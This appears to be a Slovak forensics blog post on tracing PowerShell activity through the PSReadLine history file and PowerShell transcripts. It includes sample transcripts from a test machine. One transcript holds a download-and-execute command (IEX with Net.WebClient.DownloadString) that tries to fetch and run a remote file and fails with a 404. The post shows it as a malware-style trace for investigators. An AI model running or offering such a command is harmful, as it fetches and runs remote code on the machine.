PSReadLine
PSReadline je modul umožňujúci okrem iného prehliadanie histórie zadaných cmdletov. Pôvodne bol samostatným modulom, no postupom času sa od verzie PowerShell 3.0 stal prednastaveným „správcom“ interakcie používateľa s konzolou. Nastavenia farebnosti, kompletovanie mien cmdletov, pohyb a vyhľadávanie v histórií posledných príkazov – to všetko zabezpečuje PSReadLine.
Z forenzného hľadiska je dôležité, že pre každého používateľa sa v defaultnom nastavení modulu vytvára súbor ConsoleHost_history.txt. Ide o textový dokument uložený v priečinku %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline.
Na základe toho vieme povedať, že používateľ joe (keďže nižšie uvedený súbor sa nachádzal v jeho profile) stiahol prostredníctvom PowerShellu obsah istej URL a pokúsil sa ho spustiť (keďže skript neexistuje, operácia nebola úspešná):
Obdobným spôsobom môže postupovať malware: prostredníctvom PowerShellu sťahuje svoj ďalší stage, či konfiguračné súbory. Ak na to použije PS konzolu, príkazy budú zaznamenané v PSReadLine.
Čo sa však stane, ak by bol ten istý príkaz spustený z PowerShell ISE? V takom prípade nevznikne o tom v súbore PSReadLine žiadny záznam.
Logovanie PowerShellu: Transkript
Jedným z najjednoduchších spôsobov ako zaznamenávať informácie o príkazoch zadaných v PowerShell konzole AJ výstup týchto príkazov, je PowerShell transkript. PS transkript je možné aktivovať na začiatku PowerShell relácie. Z hľadiska administrátora je lepšie nakonfigurovať transkriptovanie v registroch, definovať lokalitu kam ukladať záznamy (môžeme záznamy centralizovať na logovací server) atď. Konkrétny kľúč registra zodpovedný za nastavenia transkriptu je HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows\PowerShell\Transcription, avšak podrobnosti sú nad rámec tohto blogu.
Ďalšou možnosťou je nastaviť jednotlivé PowerShell profily tak, aby na začiatku každej relácie vykonali cmdlet Start-Transcript 😊
Na ukážku si vystačíme s cmdletom Start-Transcript. Následne spustíme príkazy whoami a whoami /all, ktoré vypisujú výstup na konzolu, a napokon cmdletom Stop-Transcript zastavíme záznam.
Príkazy zadané v relácií na obrázku vyššie aj ich výstup budú zapísané do súborov uvedených na obrazovke.
Ak otvoríme jeden zo súborov s transkriptom, vidíme že obsahuje celý obsah konzoly – okrem príkazu Start-Transcript. V hlavičke sú pridané informácie o použivateľovi, zariadení na ktorom transkript vznikol, použitej verzií PowerShellu atď.
**********************
Windows PowerShell transcript start
Start time: 20210917180230
Username: JOE-PC\joe
RunAs User: JOE-PC\joe
Configuration Name:
Machine: JOE-PC (Microsoft Windows NT 10.0.18362.0)
Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Process ID: 3176
PSVersion: 5.1.18362.145
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.18362.145
BuildVersion: 10.0.18362.145
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
Transcript started, output file is C:\Users\joe\OneDrive - TestRun\Documents\PowerShell_transcript.JOE-PC.bqC8wtCo.20210917180230.txt
PS C:\Users\joe> whoami
joe-pc\joe
PS C:\Users\joe> whoami /all
USER INFORMATION
----------------
User Name SID
========== ==============================================
joe-pc\joe S-1-5-21-4223193144-3314743074-3255832850-1002
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
PS C:\Users\joe> Stop-Transcript
**********************
Windows PowerShell transcript end
End time: 20210917180257
**********************
Transkript môže zaznamenať tak aktivity spustené z konzoly, ako aj z ISE. Je „len“ potrebné, aby bol prepis aktívny:
**********************
Windows PowerShell transcript start
Start time: 20210919170840
Username: JOE-PC\joe
RunAs User: JOE-PC\joe
Configuration Name:
Machine: JOE-PC (Microsoft Windows NT 10.0.18362.0)
Host Application: C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell_ISE.exe
Process ID: 4796
PSVersion: 5.1.18362.145
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.18362.145
BuildVersion: 10.0.18362.145
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
Transcript started, output file is C:\Users\joe\OneDrive - TestRun\Documents\PowerShell_transcript.JOE-PC.vBj0l7nN.20210919170840.txt
PS C:\Users\joe> powershell "IEX(New-Object Net.WebClient).downloadString('https://www.istrosec.com/NonexistentScriptToExecute_fromISE.exe')"
powershell : Exception calling "DownloadString" with "1" argument(s): "The remote server returned an error: (404) Not
Found."
At line:1 char:1
+ powershell "IEX(New-Object Net.WebClient).downloadString('https://www ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (Exception calli...04) Not Found.":String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
powershell : Exception calling "DownloadString" with "1" argument(s): "The remote
server returned an error: (404) Not Found."
At line:1 char:1
+ powershell "IEX(New-Object Net.WebClient).downloadString('https://www ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (Exception calli...04) Not Found.":Strin
g) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
At line:1 char:1
At line:1 char:1
+ IEX(New-Object Net.WebClient).downloadString('https://www.istrosec.co ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : WebException
+ IEX(New-Object Net.WebClient).downloadString('https://www.istrosec.co ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : WebException
PS C:\Users\joe> Stop-Transcript
PowerShell transkript má jednu významnú nevýhodu: nezaznamenáva akcie, vykonané vovnútri PowerShell skriptu. Ak spustíme nejaký skript, ktorý obsahuje príkazy bez konzolového výstupu, uvidíme v transkripte iba meno skriptu. Je možné zaznamenávať aj vykonávanie PS skriptov? Áno, je však potrebné vhodne nastaviť logovanie do PowerShell event logov.
Odkazy
- Stopy po použití PowerShellu na systéme, Časť 1 – Úvod do PowerShell
- Stopy po použití PowerShellu na systéme, Časť 2 – Windows Prefetch
- Stopy po použití PowerShellu na systéme, Časť 3 – AppCompatCache a JumpList
- Stopy po použití PowerShellu na systéme, Časť 4 – História príkazov
- Stopy po použití PowerShellu na systéme, Časť 5 – Windows Event Log